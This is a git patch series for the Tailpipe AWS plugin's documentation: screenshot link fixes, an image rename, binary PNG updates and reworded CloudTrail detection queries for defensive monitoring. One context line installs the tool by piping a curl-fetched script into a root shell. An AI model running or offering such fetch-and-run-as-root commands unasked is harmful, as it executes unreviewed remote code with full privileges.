z^hhYiwyaoBN=5mnHj%V__t3jEj~&92BoQHd)w&jt-#(?hEaxfEf#cNIbP7QNQfJo~ zB6~xIsxO7ls`zO}3bo^;y19!MCh34;iju0^18Mi&&r``oVEuBVf|X9^w)}zMtjb); zJtd0`!%3hiVBs|qv{)mU(yilBHI_=gvWV(ETmt(8ocEjpkZ`R4)s3Mo^3p_DKGi-q zTg}HBrOuKXije-(F_3Ts#GOG@Jy~Xx+ChiF?x;4fUzA&aP^aXbJI>UW%m}ZxMB9P- z?tuV#tAC4X1u|Lh0j$XH@oCct_+w!$BK8JCsvO$U&mEFSxzY`ldmZlLE|B9jEURM> z;}}B}1hQO{+tW1bW$)=obpm$Jm{NQC+g*u^RH8XBpWZeqW}ZS-RkK4X)Qw*@{5_w8 zzL3|E`>$J!fN<$`bB7s*x7Q!u&jS89S;Tf=d82Yyl*e|D@(ADmU}smFLe|pSWK!hR zG9}R!L!Gykt*R8m<1)ZAK<0TlT@o@h56Qm}Uv?Yd8S6tFLY^s_XKBia6T z`rjzc-fW{XqnqhV2C#K7X#Ke$vHiQ&HtoDyBo(p*fs)7j&2$gt-T6NjB;e8I(03}z zZ=DJi=~N-gkr12w9nJu~2tfb!Lofksj=z#&GRGL?fTTb{b8{yX50}e$&26meWnRbM zoeOw9HemB$hSdqfp@Pa)3gHl-U14$IR{}{IBTO!I;9Ot?p^oc_U%JN7Z<4m@<_!Rg zR4+&qx=k0C)fM5eb!S*{dA^!0=a!C#+eGW84(QJ6VB;?tk)86OqlcMZ-ym*xFg5IK z=zYa2>#OaM$K5{-4}rC%Q{_rl;xFB@FpEVQ(#5!Dr^{AdAfb7U*q6{^-iM4aL@nG- zZWnxh&HnVPr~-+1^HaPxF!TDyvif(yMOJe@5;;>Ar?I}i9$E0z?rAmrEEevVHhwFe zo9vu`C{0eUa388WP=?(O_zLjM=nhIzb_Oa@Th%}=z$yO)uwJ)49Ki!yHy6X!q238& z0dmFr1>*^0EFZ35VSfzz59I;`Isad8*B#bmw)8c!3WB02MFb)$qEZ3^0Spj3SO6PM zN)QA@ItUR$%c>wqk+pyXh~f%*K@cOIgd#;iKxrlf2t`5*36YY7knp{6@80#h&wcK$ z-_8Aa|9PK>WX@#foS8Z2%={+0&m$&#cSm9~LS!|@!aqNVabKH$abfsH$!XP59qkS& zq9o|@4l|TxwX!(07Y{yhdmb+;D&N%U61XVX;%_g_m;d<0?D~ONj31%A9OzO?u-?4s z0dEq^_q8GPBZSJpYL;uP^$ zxI-?gn{+JlZtld|=M?Q-w}V4JuGN7KF@WA!zGGI?i%)k&nFhD&i<8s?cMeK7su^s| zmL&M5o$o!9X_}Sv%=8OB;pthI!#R;3U2lFs7i~K5LC}3;hJ9}lT4p zmlF4KT}90isSHDlEA8-=Wd$GqmDh$lU@9x&+(}t&&7&ds_zxVdIg?

+I^#BOoc; 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 yy758!rB9QbaL)bcfj#1Izh~!+&l(^Zx)!wte0J literal 0 HcmV?d00001 diff --git a/docs/index.md b/docs/index.md index fe5f8ed8..099c8c39 100644 --- a/docs/index.md +++ b/docs/index.md @@ -21,36 +21,8 @@ The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows - Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) - Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) -For example: - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -where - not read_only -group by - event_source, - event_name -order by - event_count desc; -``` - -```sh -+----------------------+-----------------------+-------------+ -| event_source | event_name | event_count | -+----------------------+-----------------------+-------------+ -| logs.amazonaws.com | CreateLogStream | 793845 | -| ecs.amazonaws.com | RunTask | 350836 | -| ecs.amazonaws.com | SubmitTaskStateChange | 190185 | -| s3.amazonaws.com | PutObject | 60842 | -| sns.amazonaws.com | TagResource | 25499 | -| lambda.amazonaws.com | TagResource | 20673 | -+----------------------+-----------------------+-------------+ -``` + + ## Getting Started @@ -66,7 +38,7 @@ brew install turbot/tap/tailpipe sudo /bin/sh -c "$(curl -fsSL https://tailpipe.io/install/tailpipe.sh)" ``` -Install the [plugin](https://hub.tailpipe.io/plugins/turbot/aws): +Install the plugin: ```sh tailpipe plugin install aws diff --git a/docs/sources/aws_s3_bucket.md b/docs/sources/aws_s3_bucket.md index 0358b5b5..b00e3870 100644 --- a/docs/sources/aws_s3_bucket.md +++ b/docs/sources/aws_s3_bucket.md @@ -11,10 +11,6 @@ Using this source, you can collect, filter, and analyze logs stored in S3 bucket Most AWS tables define a default `file_path` for the `aws_s3_bucket` source, so if your AWS logs are stored in default log locations, you don't need to override the `file_path` argument. -Table example configurations: - -- **[aws_cloudtrail_log](https://tailpipe.io/plugins/turbot/aws/tables/aws_cloudtrail_log#example-configurations)** - ## Example Configurations ### Collect CloudTrail logs diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 9a2919fb..fec1a62b 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -13,7 +13,7 @@ To [collect](https://tailpipe.io/docs/manage/collection) logs for all `aws_cloud tailpipe collect aws_cloudtrail_log ``` -Or to collect for a single partition: +Or for a single partition: ```sh tailpipe collect aws_cloudtrail_log.my_logs From a19c7414acce1fa55424bac8d7218ca0b883c9ad Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Mon, 27 Jan 2025 22:37:13 -0500 Subject: [PATCH 158/180] Rename aws_cloudrail_log_terminal.png to aws_cloudtrail_log_terminal.png --- ...terminal.png => aws_cloudtrail_log_terminal.png} | Bin 1 file changed, 0 insertions(+), 0 deletions(-) rename docs/images/{aws_cloudrail_log_terminal.png => aws_cloudtrail_log_terminal.png} (100%) diff --git a/docs/images/aws_cloudrail_log_terminal.png b/docs/images/aws_cloudtrail_log_terminal.png similarity index 100% rename from docs/images/aws_cloudrail_log_terminal.png rename to docs/images/aws_cloudtrail_log_terminal.png From 4f067d5d3422070ab58d5bfd0698f424073e3036 Mon Sep 17 00:00:00 2001 From: cbruno10 Date: Mon, 27 Jan 2025 22:37:36 -0500 Subject: [PATCH 159/180] Fix image links in README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 71dcd7a2..e6cae2ad 100644 --- a/README.md +++ b/README.md @@ -12,10 +12,10 @@ The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows - Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) Collect and query logs: -![image](https://raw.githubusercontent.com/turbot/tailpipe-mod-aws-cloudtrail-log-detections/develop/docs/images/aws_cloudtrail_log_terminal.png) +![image](docs/images/aws_cloudtrail_log_terminal.png) Run detections in a dashboard: -![image](https://raw.githubusercontent.com/turbot/tailpipe-mod-aws-cloudtrail-log-detections/develop/docs/images/aws_cloudtrail_log_mitre_dashboard.png) +![image](docs/images/aws_cloudtrail_log_mitre_dashboard.png) ## Getting Started From cc9a20b0ef8f45bb9109864c3ebc8ad505203103 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Mon, 27 Jan 2025 22:40:48 -0500 Subject: [PATCH 160/180] Fix screenshot links in index doc --- docs/index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/index.md b/docs/index.md index 099c8c39..d7ade298 100644 --- a/docs/index.md +++ b/docs/index.md @@ -21,8 +21,8 @@ The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows - Community: [Join #tailpipe on Slack →](https://turbot.com/community/join) - Get involved: [Issues](https://github.com/turbot/tailpipe-plugin-aws/issues) - - + + ## Getting Started From e36944062a2b3b980f178c793a7e8e8b0b004144 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Mon, 27 Jan 2025 23:17:37 -0500 Subject: [PATCH 161/180] Update aws_cloudtrail_log query examples --- docs/tables/aws_cloudtrail_log/queries.md | 74 +++++++++++++++-------- 1 file changed, 49 insertions(+), 25 deletions(-) diff --git a/docs/tables/aws_cloudtrail_log/queries.md b/docs/tables/aws_cloudtrail_log/queries.md index 57f09364..571d2524 100644 --- a/docs/tables/aws_cloudtrail_log/queries.md +++ b/docs/tables/aws_cloudtrail_log/queries.md @@ -1,8 +1,8 @@ -## Count Examples +## Activity Examples -### Daily event counts +### Daily activity trends -Return a count of events per day to see trends over time. +Count events per day to identify activity trends over time. ```sql select @@ -18,7 +18,7 @@ order by ### Top 10 events -List the top 10 events and how many times they were called. +List the 10 most frequently called events. ```sql select @@ -37,7 +37,7 @@ limit 10; ### Top 10 events (exclude read-only) -List the top 10 events, excluding read-only events, and how many times they were called. +List the top 10 most frequently called events, excluding read-only events. ```sql select @@ -56,9 +56,9 @@ order by limit 10; ``` -### Event counts by account +### Top events by account -Count and group events by account ID, event source, and event name to highlight activity distribution across accounts. +Count and group events by account ID, event source, and event name to analyze activity across accounts. ```sql select @@ -76,7 +76,9 @@ order by event_count desc; ``` -### Error code counts +### Top error codes + +Identify the most frequent error codes. ```sql select @@ -94,7 +96,9 @@ order by ## Detection Examples -### Detect default EBS encryption disabled in a region +### Default EBS encryption disabled in a region + +Detect when default EBS encryption was disabled in a region. ```sql select @@ -115,7 +119,9 @@ order by event_time desc; ``` -### Detect attempts to stop CloudTrail trail logging +### CloudTrail trail logging stopped + +Detect when logging was stopped for a CloudTrail trail. ```sql select @@ -129,14 +135,16 @@ select from aws_cloudtrail_log where - event_name in ('StopLogging', 'DeleteTrail') - and event_source = 'cloudtrail.amazonaws.com' + event_source = 'cloudtrail.amazonaws.com' + and event_name in ('StopLogging', 'DeleteTrail') and error_code is not null order by event_time desc; ``` -### Detect unsuccessful AWS console login attempts +### Unsuccessful AWS console login attempts + +Find failed console login attempts, highlighting potential unauthorized access attempts. ```sql select @@ -160,7 +168,7 @@ order by ### Root activity -Find any actions taken by the root user. +Track any actions performed by the root user. ```sql select @@ -178,7 +186,9 @@ order by event_time desc; ``` -### Detect actions in unapproved regions +### Activity in unapproved regions + +Identify actions occurring in AWS regions outside an approved list. ```sql select @@ -197,7 +207,9 @@ order by event_time desc; ``` -### Detect actions from unapproved IP addresses +### Activity from unapproved IP addresses + +Flag activity originating from IP addresses outside an approved list. ```sql select @@ -218,7 +230,9 @@ order by ## Operational Examples -### List VPC security group rule updates +### VPC security group rule updates + +Track changes to VPC security group ingress and egress rules. ```sql select @@ -239,7 +253,9 @@ order by event_time desc; ``` -### List IAM user policy updates +### IAM user permission updates + +List events where an IAM user has added or removed permissions through managed policies, inline policies, or groups. ```sql select @@ -255,14 +271,16 @@ from aws_cloudtrail_log where event_source = 'iam.amazonaws.com' - and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') + and event_name in ('AddUserToGroup', 'AttachUserPolicy', 'DeleteUserPolicy', 'DetachUserPolicy', 'PutUserPolicy', 'RemoveUserFromGroup') order by event_time desc; ``` ## Volume Examples -### Detect high volume of S3 bucket access requests +### High volume of S3 bucket access requests + +Detect unusually high access activity to S3 buckets and objects. ```sql select @@ -283,7 +301,9 @@ order by event_count desc; ``` -### Detect excessive IAM role assumption +### Excessive IAM role assumptions + +Identify IAM roles being assumed at an unusually high frequency. ```sql select @@ -307,7 +327,9 @@ order by ## Baseline Examples -### Detect unusual source IP addresses for users +### Unrecognized user source IP addresses + +Detect user activity from unexpected or new source IP addresses. ```sql select @@ -328,7 +350,9 @@ order by access_count desc; ``` -### Detect activity outside of normal hours (between 8 PM and 6 AM) +### Activity outside of normal hours + +Flag activity occurring outside of standard working hours, e.g., activity bewteen 8 PM and 6 AM. ```sql select @@ -343,7 +367,7 @@ select from aws_cloudtrail_log where - cast(strftime(event_time, '%H') as integer) >= 20 - or cast(strftime(event_time, '%H') as integer) < 6 + cast(strftime(event_time, '%H') as integer) >= 20 -- 8 PM + or cast(strftime(event_time, '%H') as integer) < 6 -- 6 AM order by event_time desc; From 060d19869f61bb3556d155e04efba9caa9784d93 Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Tue, 28 Jan 2025 00:20:20 -0500 Subject: [PATCH 162/180] Crop dashboard screenshot --- README.md | 2 +- .../aws_cloudtrail_log_mitre_dashboard.png | Bin 485100 -> 479659 bytes docs/index.md | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index e6cae2ad..57336689 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ [AWS](https://aws.amazon.com/) provides on-demand cloud computing platforms and APIs to authenticated customers on a metered pay-as-you-go basis. -The [AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! +The [Tailpipe AWS plugin](https://hub.tailpipe.io/plugins/turbot/aws) for Tailpipe allows you to collect and query AWS logs using SQL to track activity, monitor trends, detect anomalies, and more! - **[Get started →](https://hub.tailpipe.io/plugins/turbot/aws)** - Documentation: [Table definitions & examples](https://hub.tailpipe.io/plugins/turbot/aws/tables) diff --git a/docs/images/aws_cloudtrail_log_mitre_dashboard.png b/docs/images/aws_cloudtrail_log_mitre_dashboard.png index 9506ce231b2d257d1f4bee06cdb6d94eed409a49..d9ffda161e2287d4629bd7d742a963184ae81492 100644 GIT binary patch literal 479659 zcmb@u1zc2Xy9Wx03St2Q64Ie`_W%M4C__lsAl(ezA)yEeh)AcPAUV>_&3{ZXVhVM412HoG9Oz#^zt7Xc%jU0<99{od z7O+5`pHF!BxOsX0u9=&S<^R&`=ab)?{kE>(hm-u-nYfybmxaBayp4l}qbo2qDLzpl zG0ES?`5%w|n&~f1b^mHAASxjIYtvsI{r9GFP=ifK+x4XbDN?nuW`4>k>U4wK)zQDne!BLWbsOg2f zo_;myPRH0QB3+l8B+QC8vtJXpv;S zm+>9T(}c7UlyULsw1D!|%w&4<%+dCBBO{}ojg-lZ{L{7f6QyQdgCs0Z?q0{c{Q?J{ z9tW2|2Irr+yzhs{!g6>Z4}WPaASC;bbotl(a@$o9KmM_){?YHpS29WsXSr7-EC1Q) z%HVHr_lf>B`G11WGS>*-f3J1T8zu_*CpQh4e<_NxsU%LUifqE&F{Ax z&gPJbLI3R51>GV3LL1<@J`tO}mQVgqFz=re#=+}Il~Hnsn=AR=M>4N~{z3TwhIl5E zWgbq#(m$9kp`j+E_0Mu04qnZn#r1zimj5IN{Y(5Z&1y+Z?+DM8|4dKhGh}%iT*q6L zZ7yc${^qbM@boagO*tpqQf5mEAhp+TH&nHtb<}n=jkD@GPssjrq2eaAa#r zaQ0A`8x2PV;lE=EdT;!qFw_E>g3|A@88r9w`CdY?<=zsPC3?)ka{BNds~?~84vQRu z;TP7uo&18_z$%{I=1JlpzeQgHpGDvM=(M-GzfSiKA6^S8rrLhebbqSKA$3RCt_sFD zW>gnvg8%)v-#o~^=N(HFL{CpIS2>ygQ0vZVyop@+(!XVeg?BQ9&}Vj5+A)Dgf)BxIr!y|I+!tB#!U^?lbU+)r^%ewhY}C}tuD_}B$nAW_~^)%9`sW=1+}t% zvD~;)ZZgkm;P3z;pm*Y8(P%XHH1(_Ar|U$IuAMom(f!2{GP%S6a&YvCwlpFm2S;G15qYSFcPzhf!~e1c{Diu<;60pg%l=^GN9iv@ zn|3!j3e_90nWC}-+E#z*L*@hNM45Z)iSHtn0jvSjI}NQ%mT&4y;1Zw~aa69(9j5)4 zz^WAyzUMJUc2noK!&gmJBx}9*EOTy{nQIklKUz=a7J2P)jQ?GCR6UilSiiCt!f}l@ zz=(~d#<hc$T@#|%fCdrpgg2__h`05vRzcDoZ2tkoC zyhpg!<7i_<1VlhAF$|=eN7U!#D(YtnhqpJy|b2`iM*&?1MU6%A$VNJAb>% zuOTmtC}+tPKPtpoU;bUP0RgfTbb&xrrswc7Wls(baqr02of zsP@O-){XzyGI$#fZz>0_BQ5BUySsR^vhd)o8t0KUQqupxY`7IP;1i+#|?0Ux8x?*uT#j_g6jhce^Fy%=-K?+!3!( zG$d>54=X57U_Vngz{(NFitHe<5wQ8S-P`;>=58T9R-|Xv*q(nQib{x|j6+-5!u9j- z+f1*vK!|B{iCXq{u76;Vs~o$;IWq^6%uev4pr+xhG zVX|y9$g_TVTeHe{vdp6D6wqXhhv3DiEXUuN?>;%cHcZc|%8QnwFX7R;0jHxEuA56C z8##jAsB>i!yp*wcEvq0j;{98vuIQg~;e8kIzn`f#H&PrR<=0bB&mI!}N~OQ$k}|^g z-|)2o$L|O3?-PC@gNOe;`_{P!D^4WyuME=7hI{mVBcp9k&oHALW>7t7|Gj3|$E*8HPuf$RPqKuy7>2g^f&%I2w zJ^iuGw`$@ffA139xq)XlR#bW~U%Oa;c;$BEA3cBM3#vqmOo$coTRh2g=CIMvz5O;1 zwKiIq3IwZnK_glPnh#jO3NlF~>zdbsLJ7Y>7)>;pL;v0q{B`&Kb3E;BgJ$=S7CUsR zwD!|Nm`pQA>eWy<=y2W6P_)|OE$y$?_+Lw=#}e8D##ESJ3omw`O`hlvA@5=M;=M=C z1S_(5V#Sgt^W?!Heianu$gWvrEmmVy*BTl;RLyInL4m)kiZcs6r+kL@=WhI~=l@E< z7c%Dr6J(?vHgiv8Q4JA(A)nI~eyl!4R0bP|!XJu<{+)7>8D{um(MLX=Tn7A2R~aV# zT|>%HkxVQQ23UM5d-BNyZT&2lL4jQqr7O@uoceMF^8}D4g(_@Kj$qqO7K8O;bOZ9)8bk+F)S}vj|T*oME8@zQ_`wxeep{K-;z>u%*Hlagn zdT_{L*GE}``2KBx^Hvl$G&#JS(P9q&t`6|Y@}Dj8V}eXiwp0&x;QZt244|?r34TeMajR(rG))JL}?<4-dnMkri*2fgX zvX3Bh2->W|>-6i+W0>YtSKQUSGM}|q{~xCQ*N*;+*ZxrGICw0P1)iwcz>g4n2{S$0 z%UzVb=hlq>8NvTsXMaO8VBq_Q_>#*_j}Z0Hy6>Z!zIRn9ZdP3SH+=UWb^PaW^x{G9 zBs@0-eaM8KQj~6V#c6EW)O?;XIKA|T4frPr7D0l`am=NjEw8>7r$kW-jSYTc^^3^= z|G&HzDx-wB_VM|(m;c0cf0@r5Y4_A`aMmo;PuE+C&usFz!JO&Vf3m|tvJ6hk>7I{^ z^PVPhAErn=26tcnTgCN12;EH)#JTu*J+5P^=i2`|HYX~&%N=bWjYfWY zVatAOS}qvGaSOh~>O$1?U{zf%26RRh9+3Xvd)XoNQmOiKuI4@mpK;mCmnAVI5b>bA zxw&xj_{Xbe;YRVS(o3i8eAbZmn3MeaFT0&29Lv==yle9cG)|azZ$yV-s#u<#2h$)5 z5K(k5&7zh8n{;2Pq$q3J5oIv1QW=br?`#6o$$4cI4n9&`*Ck&(G7WXibN{vlzi?z# z&9FDVCNXUXYgC@Da@bhavr1pg7R%+s-P-A^7DcaO+%Df!>=M3wmR5AgQkeF9I>Pp@ z_M?NruROnT$bEMF{nU&%r~{Wkg?kdmE!;==*QBq`3!U_vr1<9Y_JIUkWau>rXq?-L ztMWA zX*kdA?Snofx*mdkU!&S8d`Ert$E#S@K17UrM5i!VhB7IHtX=XP_YpS&l_EIb6 z^kWlR$nMZIeQDYap$RcbqCP8?1XHj+9nUZ?<-GptQSr@iUsS-E1L>WUf*6uh_Q6I& zIFZ4Ay+xn4Kwt}_fE7}<+`a>q`>;_wcZc>y|K@>hDiAN#Svq6Fno}y#{l%VArU)Qj zv7>F;TB>;NI&fn$L;PD3+ZAMnM{BIX7LD~-i2+n^#@o(VqtNoe(DkX#VeO_OgN5P| zpSt4R&sToen`$fgRgN>ZRRHvb9_a1;36RZvx)CFNUPCEh`6g;>roMW0tazH+Cc-DQ z-71oti+?0fRb=X0q4(ZWu1VV~=S(w&7}^a7FX8UF)u9g|l)TSn)D z%AdF3^?mU1rN$rp`SiG4he_yu*BFR2A%W z(4fihqy`JAw2e>ZH3`C0S^N_p z%GJz&cCxlqT#d8^Zd&%$U=OFkXNMbmS`c=ADBwLhE~QM@b*Nl-waZKQNXfJSVoGOe zJ8V1U?c05Hfoax2+zMS97|7T!)W|Eb8EZ&h{kD2L2i|cPKY|@M++QJz%A(F~)pRc0 z3y>O?Q!QPXX6iYuT}Z!iAa=C>010=Ps^B|YFORXAEMwW4(L~X#h5cU|m^t=EYRmMLK<&(L1JZ9hsmSiQ8|dQ)9T4bqfc2K&R%#*2m|e;U?~NeR;f|y0RdYRLRuqV zxA)_dA`*`&7_N@w`ig2DX&zO|b*T{V+|f?`_Db^&owr6bi)jo2i|ofv6O&Z0Pb0p3 zdYnY5X1U{Rd@%CNUgmAkUcUhL%MGuK2T|n0*dzGGfiVe|ykgt4gl*e@r_!^(H-0j* z(a1NrD`9{-6+)3_!mjnE(ONPojQ3X~5y25e7jWDnx!cY3INNxVA&kbf1b%)x7r|r- zr{ICuU#=Ih8r;A9q9xRKy)>+LDaB5CBo`bq9D2d9J!zGhJPz?4Q2asOv){Ovo9f6P z&#o2WRy)z9#O!}GYohYrl_9Khn6~UfSEB-`TOAj=V-F2m`}%m` zl3el{3^$bHNC%8os&6_3FBPd~O6A&(muyx{(C&#VeXnsg+gr(rAvbVriN3%dp_WdT zGb*=+-O*!Lcur=Y#IvVTJJz)9!#7Xyk}*ddj5tAf%=8Sfy?*L^Dnd_SIcUX1*}3;B 